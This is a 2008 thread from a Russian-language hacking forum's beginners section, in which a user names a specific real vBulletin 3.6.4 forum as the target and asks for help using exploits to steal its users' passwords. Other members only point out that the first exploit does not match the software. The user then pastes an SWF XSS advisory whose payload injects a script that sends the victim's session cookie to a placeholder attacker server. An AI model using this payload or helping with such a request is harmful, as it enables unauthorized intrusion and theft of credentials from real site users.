не могу заюзать сплоит для vBulletin
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
не могу заюзать сплоит для vBulletin - 2008-10-05 18:54:44.433333
|
|
|
kot241
Сообщений: 13
Оценки: 0
Присоединился: 2007-11-02 19:19:27.396666
|
Есть один форум, стоит на движке vBulletin® v3.6.4
Через гугл нашел эксплоит http://www.milw0rm.com/exploits/6593, но как заюзать его не знаю.
Атакуемый форум- http://forum.chel-net.ru/
Цель- получение паролей пользователей.
Объясните новичку как это дело все заюзать.
|
|
|
|
|
RE: не могу заюзать сплоит для vBulletin - 2008-10-05 19:05:47.720000
|
|
|
oRb
Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
|
quote:
Vbgooglemap Hotspot Edition 1.0.3 Remote SQL Injection Vulnerability
c чего ты решил, что этот сплоит вообще подходит к этому форуму?
|
|
|
|
|
RE: не могу заюзать сплоит для vBulletin - 2008-10-05 21:06:29.343333
|
|
|
Pashkela
Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
|
2 ТС:
Vbgooglemap Hotspot Edition
Читай буквально
|
|
|
|
|
RE: не могу заюзать сплоит для vBulletin - 2008-10-05 21:15:24.990000
|
|
|
kot241
Сообщений: 13
Оценки: 0
Присоединился: 2007-11-02 19:19:27.396666
|
Слушай а не мог бы ты проверить подойдет ли вот это
VBulletin 3.6.4 [FLASH] (SWF) XSS
VBulletin 3.6.4
Уязвимость позволяет удаленному злоумышленнику выполнить произвольный сценарий на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при обработке входящих запросов. Атакующий может выполнить SWF произвольный сценарий и выкрасть данные аутентификации cookie.
Пример:
getURL("javascript:function blab(){}var scriptNode = +document.createElement('script'); document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='java script';scriptNode.src= 'http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie +;blab();"); Буду оч. благодарен
|
|
|
|
|
RE: не могу заюзать сплоит для vBulletin - 2008-10-06 17:00:44.480000
|
|
|
FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
quote:
Слушай а не мог бы ты проверить подойдет ли вот это
а самому?
|
|
|
|
|
RE: не могу заюзать сплоит для vBulletin - 2008-10-06 20:17:38.583333
|
|
|
kot241
Сообщений: 13
Оценки: 0
Присоединился: 2007-11-02 19:19:27.396666
|
С радостью бы да не хватит навыков написания скриптов. Я пока еще учусь, вот когда научусь… впрочем тогда мои посты не будут находиться в разделе Для начинающих ;)
|
|
|
|
|
|
